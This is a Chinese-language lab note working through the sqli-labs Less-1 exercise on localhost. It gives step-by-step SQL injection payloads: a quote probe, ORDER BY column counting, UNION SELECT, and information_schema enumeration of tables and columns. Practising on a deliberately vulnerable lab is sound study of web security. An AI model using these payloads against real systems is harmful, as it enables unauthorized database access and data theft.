首先正常访问:
输出名字和password,加上单引号(注意要是英文的):http://localhost:8085/sqli-labs/Less-1?id=1'
看出可能存在注入点,之后利用id = 1 and 1=2 发现依旧报错,说明这个可能是字符型的注入点,所以利用字符闭合方式进行测试:http://localhost:8085/sqli-labs/Less-1?id=1' and 1=2 order by 3 %23,注意%23是#的编码之后的格式,就是最后加了一个注释符,把后面的单引号给注释掉。
具体执行的sql语句如下:
SELECT * FROM users WHERE id='1' and 1=2 order by 3 #' LIMIT 0,1
现在可以确定一定存在sql注入了,就是用以下一整套流程进行漏洞利用
当order by 4 时报错了,就说明表中一共有三列
http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 order by 4 %23
利用联合查询,可以看出显示出内容的为2和3,
http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 %23
利用version()函数可以看到数据库版本:
之后换成user()函数,可以看出当前数据库用户的角色。利用database()函数可以看到数据库名。
之后可以从information_schema中的tables中查出具体的表有哪几个:(数据库版本5.0以上)
http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(SELECT table_name FROM information_schema .`TABLES` WHERE TABLE_SCHEMA = 'security' LIMIT 0,1),3 %23
之后可以利用通过查TABLE_NAME查询到数据库的列名
http://localhost:8085/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(SELECT COLUMN_name FROM information_schema.`COLUMNS` WHERE TABLE_SCHEMA = 'security' and TABLE_NAME = 'users' LIMIT 0,1),3 %23
在之后,我们知道了数据库名、表名、列名,我们就能查询所有我们想查询的东西了,这套流程主要时为了记录下,知道sql注入点之后改怎么进行下一步操作。在之后学其他类型的注入点时我觉得时大同小异的,就不会做这么详细的记录了。
另外这个information_schema这个数据库只有数据库版本为5.0以上的才会有。